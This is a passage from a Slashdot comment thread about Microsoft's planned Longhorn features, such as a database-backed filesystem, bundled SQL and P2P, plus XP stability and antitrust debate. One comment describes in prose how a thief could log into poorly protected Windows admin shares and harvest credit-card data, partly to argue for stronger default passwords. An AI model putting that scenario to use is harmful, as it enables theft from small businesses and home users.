    But seriously - you could say the same about windows applications ripping off other win apps (there are several napsters, several cd burners, and several IM clients - all similar in form and function...). But in the case of Open Source, at least the software is free for everyone to change & use. There are such things as "standard applications": most people will use a media player, a web browser, a file browser, a text editor, and an office suite. Just because *nix ones are functionally similar to win ones doesn't mean they are meant as rip-offs. There are certainly advantages in Mozilla, konqueror, and some of the office suites you'll never find in a MS product...and i don't just mean the security.

    If you look at it in a stupid enough way, linux itself is a "rip-off" of windows, because they are both operating systems. I suspect that by trying to look smart and ripping on linux you are in fact a fool.

    --


    Who is this Anonymous Coward character, how does he post so much, and why is he always such a whore?
  44. But on NT or XP it costs $1000 by yerricde · · Score: 2

    You talking about the File System Driver reference? Try http://msdn.microsoft.com/library/en-us/wmeother/s torage_5uig.asp

    That works only on Windows 95, Windows 98, and Windows Millennium Edition, and Microsoft no longer sells Windows 95, Windows 98, nor Windows Millennium Edition. From the IFS kit pages: "The IFS License, which includes one (1) kit, is $995.00 plus shipping and handling" and is too expensive for the average hobbyist.

    --
    Will I retire or break 10K?
    1. Re:But on NT or XP it costs $1000 by DarkEdgeX · · Score: 2

      Jesus, normally I'm a big fan of Microsoft's relations with developers (being able to download the PlatformSDK for free for example, is nice), but this is the biggest ripoff in the history of big ripoffs. $1000 for something they probably send ONE CD-ROM out for? What a joke! The weird thing is, I *think* the regular DDK has enough information to build a file system driver with (I've seen some open source/GPL'd file system drivers that were hacked together on the net, usually on a Google search).. too bad really, I'd been toying with the idea of writing a file system, but never got the time to investigate it beyond said previous Google hits. Damn MS sucks.

      --
      All I know about Bush is I had a good job when Clinton was president.
    2. Re:But on NT or XP it costs $1000 by lseltzer · · Score: 1

      Microsoft no longer sells Windows 95, but it does sell 98 and ME. Besides, the message I responded to asked about 95, so you're changing the subject.

      As for the kit not being free, well, that really sucks I guess. It is odd, since the DDK is free. They must not want a lot of the NT/2K/XP IFS kits out there.

    3. Re:But on NT or XP it costs $1000 by 1010011010 · · Score: 2

      Speaking as a person involved with developing a filesystem for Windows 2000, the IFS is required. There is not enough information in the publically available DDKs. You need extra headers to actually build a FS for Win2k. There's a GPL ntifs.h out there, but it is not complete.

      It is fairly obvious that MSFT doesn't really want people developing alternative filesystems for Windows. They don't make it impossible, but they do put unnecessary barriers in the way of the developer.

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    4. Re:But on NT or XP it costs $1000 by DarkEdgeX · · Score: 3, Interesting

      It does make you scratch your head about the whole issue though-- why would MSFT work so hard at keeping others from developing alternate file systems? FS drivers are akin to video drivers for a video card (except for use with storage devices), so I'm not seeing the great advantage in forcing everyone to NTFS if someone, say Maxtor, wanted to write special FS drivers to take advantage of known physical characteristics of their disks. (And really, to Joe Nobody, a file system is about as abstract as a video driver, or any other driver under their OS. As long as it's 1) reliable and 2) not visibly different from NTFS/FAT32, he won't care.)

      Very strange.

      --
      All I know about Bush is I had a good job when Clinton was president.
  45. About the filesystem database... by errorlevel · · Score: 1

    Does anybody else get nervous about letting Windows have raw access to the same hard disk that some other OS might also be installed on? I wonder if Microsoft will make any effort to put in controls so that the database stays in its own partition.

    Anyone else have any idea what they might do? Afterall, that'd be one way of attacking its number one threat: erase it.

    --


    The Moo went "Cow!"
    1. Re:About the filesystem database... by JatTDB · · Score: 1

      And Windows doesn't have raw access to the hard disk right now?

      Let's try to remain somewhat serious here...there's nothing stopping them now, or yesterday, from sticking in something that checks for partitions with certain IDs (say, Linux and Linux Swap), and deletes them if found.

      If they wanted to do this, they could have done it in ME. Or 2K. Or XP.

      You know why they don't? Because deleting a user's data, regardless of the political/philosophical/economic reasons, is a fucking stupid idea. Regardless of what you think about Microsoft, they're not that stupid.

      --
      "That's Tron. He fights for the Users."
    2. Re:About the filesystem database... by errorlevel · · Score: 1

      Thanks for twisting my comment into a Microsoft bash. Of course, everybody on slashdot is against Microsoft. Didn't you know that? We all hate their guts and suspect they will do everything they can to keep their image of evil.

      Then again, they might be like any other software company and make mistakes such as not checking to see if raw access will be overwriting data on another OS's partition. Hmrph!

      (Moderators, mod me as you will, I don't post enough to care.)

      --


      The Moo went "Cow!"
  46. SQL integration by anpe · · Score: 2

    From the article:

    The move has antitrust implications: it potentially puts Microsoft at an advantage over Oracle and other competing SQL implementations every copy of Windows will effectively come with a light version of Microsoft SQL Server

    Sorry I dont see how a light version of MS SQL Server and Oracle 9i could be playing in the same field...

    1. Re:SQL integration by Rubbersoul · · Score: 1

      yes to we do not know that

      1) it will a light version of MS SQL
      2) if it is a light MS SQL that say an updgrade to the full fetured version would not say automaticly convert the systems file system the the full version as well.

      Of course both are 100% assumptions as we know little to nothing about this system. But hey seems how we are assmuning things think about this

      The new MS Windows can usa database filesystem and also can use a "regular" filesystem. Maybe it gives you the option on in stall to install on MS SQL server (bundled), 3rd party SQL server you purchase on your own, or just on a regular old FS.

      See we really do not know ... lets get facts before buring the whitch (that will come later :))

      --
      man .sig
      No manual entry for .sig.
  47. OS monoploly going too far, too fast by Duderstadt · · Score: 1
    Damn, the boys in Redmond aren't even pausing for breath. Instead, they are racing forward in their effort to push .NET, and once again, they are using Windows as the lever.

    The entity known as Microsoft, is rapidly taking over the Internet, and they may already be unstoppable. This year, they will probably ship more server class operating systems than all other OS vendors combined.

    Ladies and gentlemen, consider, if you will, this equation, and know the chosen weapon of Microsoft:

    Windows NT (2000/XP/Whatever) + .NET + Passport + Broadband = .NET Service Cloud

    Think of it this way: from the perspective of your desktop machhine, the internet is the cloud. From any other device, your desktop is in the cloud. A primary goal of .NET is to provide "in the cloud" data access from anywhere.

    Most slashdotters have assumed that MS would somehow host and serve all that data, but why should they? Exactly how many desktops are out there? Soon, at least nine out of ten will run a server OS from Microsoft. With a database core. And native p2p. And an Internet services platform.

    It looks like home users will soon, and perhaps unkowingly, be using the likes of .NET File Server, .NET Print Server, etc to access data from their own PC's transparently. Brilliant idea. The bastards...

  48. Not with *A* database, no. by Medievalist · · Score: 2
    Doesn't RedHat ship with a database?
    Not really, Red Hat ships with SEVERAL databases, none of which are proprietary products of Red Hat. The comparison is hardly apropos.
    So are Oracle's lawyers knocking on RH's doors?
    Not so far as I've heard; Ellison probably figures the enemy of his enemy is his friend.

    --Charlie
  49. Re:You laugh now by RazzleFrog · · Score: 1

    Apache is far more than just a "linux app". It is actually a free-software foundation that creates an HTTP Server that can be used on Linux (and many, many other platforms including Windows). The HTTP Server is historically a modification of the original NCSA HTTP Server. Its named is a tribute to its origin as "a patchy" server.

    Therefore it isn't a "linux app" and it isn't all original.

  50. Re:Great... by jaavaaguru · · Score: 1

    Win2K's active directory service makes significant hits on the performance of Win2K on your average desktop PC. So they're forcing users to get new hardware too now. Sweet. Glad I'm not caught up in that.

  51. Think English by Pope · · Score: 1

    vir is Latin, virus is English, as has been pointed out a billion fucking times every time this comes up.

    You're overcompensating for a problem that doesn't exist: give it up!

    it still makes no sense.

    --
    It doesn't mean much now, it's built for the future.
    1. Re:Think English by Lucretius · · Score: 1

      I think I pointed this out in one of your previous posts.... "vir" is a latin word meaning "man", but "virus" is a latin word meaning "poison, virus, slime". However, it has some special rules so that "viri" is only its genative singular and not its nominative plural like people want to use it...

  52. Re:I don't mean to go off on a rant. by vulgarDPS · · Score: 1

    Read the internet transparency RFC (RFC2775 http://www.faqs.org/rfcs/rfc2775.html). That RFC describes alot of problems with P2P and the reasons for them. Then read the use of P2P that microsoft plans on implelementing. Every problem with P2P is amplified includeing security risks.

  53. Re:Great... by OnceAnd_Future_Spork · · Score: 2, Funny

    ESE? Why don't they just call it VATO or HOLMES or DOG or what ever else Mexican gangsters call each other ;)

    --


    -OFS

  54. Version numbers... by mech9t8 · · Score: 5, Informative

    Every version of Windows has a version number, and a build number (ie. Windows 2000 is NT Version 5.0 build 2195). Microsoft has just decided they're easier to market with all these other names. "Windows XP" is something new, "Windows 5.1" is just another minor upgrade.

    Names like Longhorn are just internal codenames, just like, say, Debian Potato.

    Windows 3.0
    Windows 3.1
    Windows 4.0 = Windows 95
    Windows 4.1 = Windows 98
    Windows 4.9 = Windows Me

    Windows 98 SE was version 4.1 with a higher build number than Windows 98

    Windows NT 3.1
    Windows NT 3.5
    Windows NT 4.0
    Windows NT 5.0 = Windows 2000
    Windows NT 5.1 = Windows XP

    - There will probably be an XP Second Edition, which'll be version 5.1 with a higher build number
    - Longhorn will probably be version 5.2. Who knows what'll actually be called - XP wasn't decided on till last spring.
    - Blackcomb will probably be version 6.0

    --
    Convictions are more dangerous enemies of truth than lies.
    - Nietzsche
    1. Re:Version numbers... by Darkstorm · · Score: 2, Funny

      "Windows XP" is something new, "Windows 5.1" is just another minor upgrade.

      Actually, I'd call XP a downgrade. Adding bugs to a version of windows which came close to being stable could never be an upgrade.

      If I want fancy themed window borders I'll jump over to linux and kde and have all I want. If I want to waste cpu time I've got plenty of utilities that will eat it and give me pretty little items to look at as it kills it. If I want things hidden from me I'll just turn on cspan and watch congress.

      --
      If ignorance is bliss, the world is full of blissful people
    2. Re:Version numbers... by DarkEdgeX · · Score: 2

      Yeah but two features of Windows XP easily set it head and shoulders ABOVE Windows 2000--

      1) Rollback Drivers (yay!)
      2) System Restore Points

      Install an evil BSOD driver? Roll it back, easy.

      Do something that makes the system unstable or for whatever reason, can't be undone? Go back to your last system restore point (they're done nightly, by default, and I believe it basically does a diff against the PREVIOUS system restore point, so it doesn't consume gigs of drive space doing it).

      Plus XP has a better version of Defrag (and hell, even NOTEPAD is superior under XP). You can disable the skinned GUI to an extent as well, avoiding some of the complications it brings to the table...

      --
      All I know about Bush is I had a good job when Clinton was president.
    3. Re:Version numbers... by Bozar · · Score: 1

      Don't let the word get out to AOL!

      ALL NEW AOL XP^2+
      AOL HAS BECOME EASIER TO USE THAN EVER!

      :(

      --
      Free as in *BUUURP!*
    4. Re:Version numbers... by blackwings · · Score: 1

      No you are wrong. Microsoft does not use decimals in version numbers, they use integers sepparated by points. eg. MS-DOS 4.01 == MS-DOS 4.1 Some companies use decimals in version numbers eg. Netscape (eg. Netscape 4.05 != Netscapape 4.5), but Microsoft does not.

  55. Re:I don't mean to go off on a rant. by vulgarDPS · · Score: 1

    When you fix the problem of people using WinXP boxes with raw sockets as vocal points for DDOS attacks and I dont have to worry about it affecting my network, then I'll stop bitching about raw sockets.

  56. Re:They did... by Legion303 · · Score: 2
    ...it's called Windows 2000.

    Decent, fairly stable platform which pukes on most of my games. I triple-boot (soon to be quadruple with Solaris 8), running high-end graphics applications on 2000, games on 98, and anything important on Linux.

    I *might* "upgrade" to XP once it's been out a year and most of the major security problems have been worked out.

    -Legion

  57. Longhorn by peel · · Score: 3, Funny

    Sources inside of Microsoft were neither able to confirm nor deny rumors that Longhorn would have a built in multitasking Baked Potato Bar. They did however offer informaton regarding the new desktop themes which include Hickory Smoked, Wild West and Country Goodness. One source was quoted as saying, " Our main goal with this next OS is to get wait times down below 30 minutes for processes of 5 or more." It would seem that this is a hugh undertaking when weekends are thrown into this equation. As of this posting Microsoft plans to release Longhorn in two flavors: Smoking and Non-Smoking. -peel

    computres never mkae mistooks. -WOPR

  58. What if root wants to DoS somebody else? by yerricde · · Score: 1

    While yes, it is true that unix will use raw sockets, it only uses them mitigated and ONLY ROOT CAN DO IT.

    The fact that only root can do something provides no additional security if the user is the owner of the machine and therefore is root legitimately.

    --
    Will I retire or break 10K?
  59. Step away from the crack pipe by Infonaut · · Score: 2
    Nobody is forcing me to upgrade.

    But if I were working in Corporate America, and the good people in my IT department were following Microsoft's firm guidance (notice they've made it VERY difficult for enterprise users to stay with NT 4.0?), I might not have any choice in the matter.

    I've had it happen to me before.

    I didn't say anything at all about having the government force Microsoft to stop upgrading their OS. In fact, I think that Microsoft's continued reliance on "this one is even bigger and better than the one before" OS rollouts is ultimately good for distributors of other OSes (because they can attract disgruntled MS users).

    I didn't say anything about Linux kernel upgrades, either.

    --
    Read the EFF's Fair Use FAQ
  60. About that antitrust bit by daytrip00 · · Score: 1

    It seems that these days no matter what Microsoft does, some ignorant writer will insert an obligatory "Well.. for so-and-so, this might be antitrust violation."

    In this case, it's simply not true! Microsoft was deemed to have a monopoly in the HOME COMPUTING market. Oracle doesn't do a damn thing in the HOME COMPUTING market. MS, however does NOT have a Monopoly (in ANY sense of the word) on server software (operating systems included). Moreover, it hassn't deemed anti-competitive to bundle IIS, so it shouldn't be to have a stripped down version of SQL Server either.

    1. Re:About that antitrust bit by mikera · · Score: 2

      Yeah, but it would still be an anti-trust concern if Microsoft *used* the monopoly on the desktop to give themselves an unfair advantage in the server market. This might include tricks such as giving away the database for free, spreading FUD, marginalizing competing products etc.

    2. Re:About that antitrust bit by Alarion · · Score: 1

      Actually, IIS isn't embedded down to the kernel level, so Apache or whatever you want to run has a reasonably fair chance of performing on par with IIS.

      Depending on HOW MS implements the filesystem and if the SQL server is embedded into the actual kernel or whatnot will determine if there are grounds for an Anti-trust suit. If MS were to write the filesystem in a way that it could use a "plugin" type approach for the database server used, then other database vendors could develop database servers for this purpose as well.

      But if they embed SQL server code (even some) into the kernel, it gives them perfect opportunity to say to their customers "Hey, we allready have SQL Server code/hooks/etc in the kernel. SQLServer WILL perform better and faster than any other database server, period."

    3. Re:About that antitrust bit by daytrip00 · · Score: 1

      Why should Oracle care though? This isn't anti-competitive because there ARE altertanitives in the Server OS market. If Microsoft makes it so nobody else can develop anything for Windows .NET Server, for server OS' we have tons of other alternatives.

  61. Anti-competitive? by Glonk · · Score: 1

    Ahh, now I see. I can just see the high-ups at Microsoft, "Hey, we can't make an RDBMS as good as Oracle or IBM's, so let's make our OS one, then when people run SQL Server on it it will be like 10 times faster, and SQL Server will capture the high-end database market."

    I hope many of you submitted feedback for the Tunney act before yesterday's deadline or we will see a lot more anti-competitive behavior over the next year.

    I dunno, that sounds competitive to me. God forbid they try to compete more with IBM and Oracle.

  62. and CE... by EnderWiggnz · · Score: 2

    is named after brands of Scotch... (Talisker is 4.0)

    because the head developer ... likes scotch...

    --
    ... hi bingo ...
    1. Re:and CE... by Jenova_Six · · Score: 1

      Interesting. Doesn't seem to maintain continuity with other WinCE/Palm Sized PC/Handheld PC codenames, though:

      Pegasus, Alder, Birch, Mercury, Gryphon, Orion, Jupiter, Wyvern, Venus, Hermes, Cedar, Rapier, Galileo, and Merlin (courtesy Chris DeHerrera's excellent site cewindows.net).

      Jenova_Six

  63. food for thought by dougg · · Score: 3, Interesting
    First off, the "let's make your filesystem a database with an interface" and P2P scares me considering they are talking JET engine derivatives. MS is not known for it's security. Earlier this month there was an article about suggestions for tightening their security, and they obviously ignored it while placating to the masses that they are going to do everything to make security their highest priority( those marketing guys are hard at work aren't they).

    Here's an idea MS. Why don't you try building a REAL OS before adding a bunch of features. Then I hope Oracle et al go after them for attempts at tying again. This time a RDBMS with an OS, instead of the browser. Not that they have a chance against Oracle, just that I'd like to see them burn after being forced you use their various products. It really sucks when you've seen the alternatives.

    Before I started going back to school I worked in a UNIX environment, and although crashes did occur and were considered big events they were rare with years plus of up time. However, with MS products I ran into constantly (yes constantly) crashes, locks up, or spontaneously combusts. Now they want to try something as potentially dangerous with my data like ty it to the filesystem as a database. No doubt they will leave transactions and rollbacks out of it, so not only do you lose the current data from one of their features( crashes are a feature aren't they?) but suddenly it corrupts even more stuff because it was joined, etc.

    Now add someone somewhere else with malicious intent, with MS current(talk doesn't count) stance on security, not only wiping out relations, probing for intimate details(you're not keeping your finances on that machine are you?)

    Maybe, I'm just a little skeptical or pananiod or both. That whole thing bothers me to no end.

    1. Re:food for thought by beerman2k · · Score: 1

      JET database engine != SQL database engine

  64. The Fast and The Meta-Moderated by Keith+Russell · · Score: 1

    Correction #1: El Reg posted on 28 Jan. El Slash posted on 29 Jan. So add 1440 minutes.

    5372 mi. / 1446 min. = 3.715 mi./min. * 60 min./hr. = 222.904 mph.

    So we've gone from Ludicrous Speed to just making the field at Indianapolis. Still faster than any car I'll ever own. :-/

    Correction #2: Slashdot comes to you live from the bustling metropolis of Holland, Michigan, not California. Using MapQuest to hastily plan a route from Holland to San Jose, the driving distance is 2295 mi. Subtract that from your London-California distance, and we have 3077 mi.

    3077 mi. / 1446 min. = 2.127 mi./min. * 60 min./hr. = 127.676 mph.

    The spedometer on my car goes up to 130.

    So, it's not any kind of record, except for time wasted to get a (Score: 2; Funny). :-)

    --
    This sig intentionally left blank.
  65. More importantly... by karlm · · Score: 1
    Coupled with all drives shared (needing the user's password, but for 90% of their market, this is effectively a moot point) by default (C$, D$, etc.) and a single namespace, this means "login as Administrator with drowssap and find (CC or Credit). Copy to victims.xls" and come back 3 days later with 40,000 CC numbers.

    Okay, well hopefully it won't be shipped with the ability to search for every Win32 machine on the net and attempt to log in as Administrator on every machine it finds, but you can find programs now to bruit force passwords on SMB shares.

    I think any consumer OS's default behavior should be to tell the user a new passwrd when commanded, not to ask. A word database of 2048 words in each supported language and the ability to capitalize the first and last letter of each word means 14 bits of entropy per word. 5 words means 70 bits of entropy, which is stronger than 95% of the passwords out there. Joe average can be expected to remember 5 words muchbetter than, say the random default passwords for slashdot accounts.

    --
    Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
    1. Re:More importantly... by BCoates · · Score: 1

      Is anyone really insane enough to leave their CC# on their computer?

      It's not like it would be convenient, since most people keep their cards with them.

      --
      Benjamin Coates

    2. Re:More importantly... by karlm · · Score: 1
      Is anyone really insane enough to leave their CC# on their computer?

      Not their own CC#. There are many small home businesses arround. If I were a CC theif, I'd focus on the smallest businesses I could find.. easiest pickings and smalest risk of someone putting much effort into the investigation.

      --
      Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
  66. Re:What's going on? by Lysander+Luddite · · Score: 2

    "OK, now to see how quickly this gets modded down. Oh well..."

    But this post has nothing to do with the topic. So it should be modd'ed down. It is off topic (although this reply is on topic to your off topic post).

    I've had similar problems with the moderators (I'm one myself) but I attribute it to the general decline in posts in general (not singling you or anybody specifically).

    But seeing how I am now at 50 I'll burn some of my karma for your enlightenment. :)

  67. And these new features will be secure, right? by Eric+Damron · · Score: 1

    With Microsofts new number one priority of software security, we can count on all these new features being secure, right?

    ROFLMAO

    --
    The race isn't always to the swift... but that's the way to bet!
  68. of course not by hawk · · Score: 2
    Didn't you learn as a young child: The cheese stands alone.


    Ahh,the state of pre-schooleducation in the US . . .


    :)


    hawk

  69. preemptive strike by zoftie · · Score: 1

    Smoke and mirrors... they have done it once, twice... and more ... and will doit again.
    p.

  70. Re:They did... by ZxCv · · Score: 2

    You might try XP just for the games. A friend of mine kept Win98 solely for gaming as well, but he got rid of it after discovering his games worked just fine under XP (although I believe it was only 2 or 3 games).

    --

    Perl - $Just @when->$you ${thought} s/yn/tax/ &couldn\'t %get $worse;
  71. Is the ghost of Larry Ellison posses Microsoft? by iceT · · Score: 2

    Why does this sound like such a Larry Ellison (Oracle) strategy:

    "Everything is a database..."

    Why does my Mother, who reads email and plays solitare, need a database?

    What she NEEDS is an OS that doesn't flake out all the time.

    --
    -- You can't idiot-proof anything, because they're always coming out with better idiots.
  72. Defragging the registry by Da+VinMan · · Score: 2

    You're correct in that files which contain the hives will be defragged. However, this technique still won't defrag the registry's internal data. For that you have to use a utility like RegCompact.

    --
    Please mod this post only if you think others should/n't read this. I have enough ego^H^H^Hkarma. Thanks!
  73. Re:Great... by ackthpt · · Score: 1
    And Geo. Bush Sr. said, "read my lips, no new taxes", and Clinton said, "I did not have sex with that woman", and W. said, "I need to hide all these strategic energy conference notes (which included Cheney and Enron kissing face) and FBI records which could release innocents J. Edgar framed) for national security.

    Yeah, I'm all ears.

    --

    A feeling of having made the same mistake before: Deja Foobar
  74. Link works ok... (It's MS, probably IE only) by JohnDenver · · Score: 2

    I thought Active Directory was just the API that one implements thier FS under?

    --
    "Communism is like having one [local] phone company " - Lenny Bruce
    1. Re:Link works ok... (It's MS, probably IE only) by __past__ · · Score: 1
      The link may work, but sorry, you obviously have no idea what Active Directory is.

      It's not a directory in the sense of "something to put files in" (that would propably be "Active Folder" in MS parlance), it is a directory service, in the sense LDAP is (and in fact, you can query it via LDAP.

  75. FUD? by limejuice · · Score: 1

    So Microsoft ships Fear, Uncertainty, and/or Doubt with their products? That's really interesting. Obviously you didn't have the first clue as to what FUD actually meant when you posted your pointless comment, but since all the other cool kids on slashdot use that word whilst in the process of Microsoft-bashing, you thought you'd try to fit in and pull out one of those neato-keen $0.05 words. And so it ended up being irrelevant, much like the rest of your comment. Sorry, lil' buddy! Thank you for playing though! If you hang in there long enough, you'll eventually get invited to join the IAKW Union (International Alliance of Karma Whores, AFL-CIO) Best of luck!

    --
    Daniel J. Kelly
  76. Re:Great... by SonicBurst · · Score: 1

    I believe it's pronounced "easy". Could be wrong though.

    --

    Geek used to be a four letter word. Now it's a six-figure one.
  77. Bullshit. WindowsXP is the most reliable I've run. by Kjella · · Score: 2

    WinXP Uptime: 1w 1d 3h 47m 50s every two hours when I was abusing it (heavy multitasking, programs freezing etc.)

    Not to put linux down, I know Linux could go for longer without a reboot, and with less reboots, but at least try a little more honesty and a little less FUD. Also note that most people wouldn't have a problem with their system deteriorating, as most turn it on and off every day, just with crashing 5 minutes after they turned it on.

    Kjella

    --
    Live today, because you never know what tomorrow brings
  78. Re:Great... by Mark+Pitman · · Score: 1
    this is where Access excels, as a frontend to any ODBC source

    Not when it locks an entire table while running a simple query... :)

  79. Netmeeting by Bender+Unit+22 · · Score: 1

    "with additional updates to NetMeeting built in to the OS."

    Lets just hope that they have discovered by then that the entire world does not have a real IP adr. but sits on a local network where their ip gets NAT'ed. Some protocols needs updating there since the current version of Netmeeting asks the PC what ip it's on instead of asking the world where the world sees it coming from. Oh well, I guess they will update it and make the protocol extremly closed source, tied to the .net or maybe just to the stinking passports.

  80. Bullshit. WinXP is the most reliable I've run by Kjella · · Score: 2

    Advice: Never use HTML comment arrow when pointing to something.
    Anyway, WinXP Uptime: 1w 1d 3h 47m 50s currently

    Although I got 10 programs waiting for a reboot, (most of which work anyway, they just want to be an ass about it), but it's stable. A friend of mine has his server running for months now on it. Even win2k had some strange driver issue + 1 kernel crash, haven't had a single problem using XP-compliant-drivers and software, some less luck with legacy games.

    And besides, most people are used to running w98, which crashed on average every two hours when I was abusing it (heavy multitasking, programs freezing etc.)

    Not to put linux down, I know Linux could go for longer without a reboot, and with less reboots, but at least try a little more honesty and a little less FUD. Also note that most people wouldn't have a problem with their system deteriorating, as most turn it on and off every day, just with crashing 5 minutes after they turned it on.

    --
    Live today, because you never know what tomorrow brings
    1. Re:Bullshit. WinXP is the most reliable I've run by Afrosheen · · Score: 2

      1 week 1 day? Incredible! Guess that puts my firewall, apache server, and samba servers uptimes (93 days, they're all new) to shame!

    2. Re:Bullshit. WinXP is the most reliable I've run by Malcontent · · Score: 2

      "haven't had a single problem using XP-compliant-drivers"

      This is one of the biggest shortcomings of windows XP. There are so few compliant drivers and hardware that it really limits your choice of computers. Linux supports just about everything under the sun with very nice stability. It's simply not as finicky as XP.

      As for stability overall yea it's much like 2K. It's pretty stable if you don't overwork it and you keep re-installing it every six to eight months. W2K really degraded over time for me I suspect XP is much the same.

      --

      War is necrophilia.

  81. Longhorn? by csbruce · · Score: 1

    Will the next release be called "pointy tail"?

  82. The table is price/performance based. by marick · · Score: 2, Informative

    Yawn... Microsoft makes an inexpensive database. According to the price/performance table, it seems to be really great. On the other hand, if you look at JUST performance numbers, the difference becomes clear. SQL server doesn't even make the list Oh well, I guess you get what you pay for.

    1. Re:The table is price/performance based. by ednopantz · · Score: 1

      Um, actually it does. #7.

    2. Re:The table is price/performance based. by marick · · Score: 1

      oops...

      you're right. Still, though, 9/10 are not SQL server, so I stand by my original point.

      Now where is that damn undo button?

    3. Re:The table is price/performance based. by IDIIAMOTS · · Score: 1

      Why not look at the "All" performance results, rather than just "Non-Clustered":

      Top Ten TPC-C by Performance

      Paints a whole different picture, doesn't it?

    4. Re:The table is price/performance based. by Malcontent · · Score: 2

      Mainly because clustering a database is only good for benchmarks. Not all data is available to all clients in a cluster like the ones that the benchmark measures. If you recall TPC originally rejected the cluster benchmark and did not publish it. After considerable pressure from MS they basically created a category for it.

      To make it easy to understand a cluster benchmark is like a world record with an asterix behind it. It's not really legitemate.

      --

      War is necrophilia.

  83. You're lucky if you *have* a search function.. by Kjella · · Score: 2

    ...my WinXP will, on hitting the search button, try to connect to sa.windows.com port 80, and unless it can connect, and either get a reply that the page is unchanged, or download an XML (or something like that, I sniffed it with Commview) page, it'll display the error message: A file that is required to run Search Companion cannot be found. You may need to run setup. This is when running both in classic and normal mode. It does not send my search terms, nor my search results, but I still won't open that port for them. Is this the beginnings of the .NET? To see how many will find out? I've seen only one other with the same issue, and he didn't get any help at all from MS support, I haven't bothered calling them.

    Kjella

    --
    Live today, because you never know what tomorrow brings
    1. Re:You're lucky if you *have* a search function.. by wfo62 · · Score: 1

      My XPPro seems to do the same thing, tho' I haven't sniffed it yet. It's happy to Search as much as I want _as long as_ I'm online. Otherwise I invariably get the "file required to run Search Companion is missing" error.

  84. Microkernel OS? VMware? by Kjella · · Score: 2

    So, a small microkernel, with a huge proprietary closed set of fundamental OS functions is OK? By that definition a kernel could simply be

    10 Execute next instruction
    20 goto 10

    Or what about VMware? With different OSs running in different VMware containers, can't those be preempted by the VMware software?

    Sorry, but I think it's a bopeless definition.

    Kjella

    --
    Live today, because you never know what tomorrow brings
    1. Re:Microkernel OS? VMware? by Codifex+Maximus · · Score: 2

      > So, a small microkernel, with a huge proprietary
      > closed set of fundamental OS functions is OK?

      Yes, as long as the interfaces to the functions of the kernel are available and published 6 months prior to their use by the providor of the kernel. Such interface definitions would allow a drop-in replacement for the kernel by competitors and thus competition.

      > By that definition a kernel could simply be

      > 10 Execute next instruction
      > 20 goto 10

      I don't see the previous BASIC like code snippet as being a huge proprietary set of fundamental OS functions. I see it as merely an endless loop that could be simplified to this:

      10 GOTO 10

      Quite useless actually.

      > Or what about VMware? With different OSs running
      > in different VMware containers, can't those be
      > preempted by the VMware software?

      VMware is merely a Virtual Machine - which means that it is a MACHINE and therefore a platform for which an Operating System/Kernel is neccessary to gain functions therefrom.

      As I understand it, the VMware software doesn't preempt anything; the kernel underlying VMware does. VMware merely provides the same or like raw harware components that a real machine does.

      The whole purpose of my idea is to COMMODITIZE and COMPARTMENTALIZE the components of a complete system so that drop-in replacements for functionality can be achieved. To achieve commoditization and compartmentalization, you must first draw well defined lines between components and then the interfaces between those components must be published in a timely manner so that interoperation with competitor's components becomes possible. Unfortunately, such commoditization and compartmentalization is EXACTLY what Microsoft doesn't want.

      --
      Codifex Maximus ~ In search of... a shorter sig.
  85. Longhorn? Irony? by Telastyn · · Score: 2

    Does anyone else find it amusing that a Windows codename is a large Cow?

  86. Plan 9 by SilentChris · · Score: 2

    I'm surprised no one has mentioned how close some of this sounds to Plan 9. Heck, if Microsoft wants to bring distributed computing to the OS masses, and get databases off of a single source (like .NET) I say be my guest.

  87. sad vehemence by Anonymous Coward · · Score: 2, Informative

    There's a sad vehemence here against all things Microsoft, without even evaluating them. A database-based filesystem is a Good Thing, whether Microsoft does it or not, in the same way that GUIs (using windows etc.) is a good thing, whether Microsoft does it or not. Microsoft's involvement is beside the point.

    Regarding relational databases as filesystems: maybe better to look at it as a relational directory structure. It's a much more flexible and useful way to organize a file system, as pointed out in the Reiser paper mentioned in the article.

    For example, I was working on projects involving multiple languages, so I wanted a logical directory structure for source code. Do I make a hierarchy based on project first (e.g. proj_a/java, proj_a/sql), or language first (sql/proj_a, sql/test)? I experimented with a variety of symbolic links but that was only fun for a little while - maintaining something like that is annoying. The logical way to organize would be to select by either project, language, or both (e.g. "proj_a and java", "sql and anything" - syntax to be determined).

    There are other uses, such as BeOS's integration of mail handling with the OS. The idea is so good (as the article says) it's been used in AS/400. Remember, most databases used to be hierarchical too, before relational database theory.

    This may be a case of Microsoft "innovating by copying" again, but they are doing it (they've managed to do it ahead of their competition by virtue of no longer having any competition, except for Apple, which is concentrating OS development on usability issues instead).

    Regarding peer-to-peer capabilities: This is the logical extension of Microsoft instant messager. Microsoft has been ahead of AOL in expanding the idea of instant messaging to new media, such as still or moving video, sound clips, etc. It's logical to make this a more general peer-to-peer system.

    Regarding Microsoft as a whole: IBM used to be the Evil Empire, delivering inferior products late while unfairly using their monopoly power. However, they did invest their money in product development and research, and it eventually trickled out into good products.

    I think it will be a while before this happens to Microsoft, but I do think it is beginning - they do invest in actual research and development - and the database filesystem is an example where they are applying established theory to produce a genuine improvement in their products (or trying to - they tried with NT, with purchased brainpower (from DEC), with mixed results). There may come a time twenty years from now where "Microsoft" is not a perjorative, as has happened with IBM.

  88. the names whistler, longhorn, blackcomb by pilot · · Score: 1

    whister and blackcomb are the names of mountain peaks in BC (near the redmond campus). longhorn is the name of a pub between whistler and blackcomb :-)

  89. Did M$ buy the patents for XFS from SGI? by moojin · · Score: 1

    i think slashdot mentioned that M$ bought several patents from SGI. most speculated that these patents had to do with OpenGL. could it be possible that M$ bought the patents or technology that would enable them to integrate xfs into Longhorn?

    --
    Why did I lurk so long before registering for a Slashdot account? I could have had a Slashdot ID of less than 100000.
  90. Re:Top 3 spots are clusters by aressa · · Score: 1

    IIRC, in a cluster when you send a query to a cluster the query gets delagated to ONE machine. One advantage to having a cluster is being able to answer N queries at once (with N machines).

    Another advantage to this is Fail-over: when you lose a machine in a cluster, the average load on the remaining machines goes up (they take over the load of the failed machine). Therefore frome a zero-downtime point of view a cluster of 8 quad-proc boxes will probably give you better performance (and better reliablity) than a 32-proc machine.

    Of course this all relies on the DBMS used, OS, configuration, etc. (above knowlege comes from a weak Oracle background, sorry if I am way off base)

    A

  91. Re:That was quick by maddman75 · · Score: 1

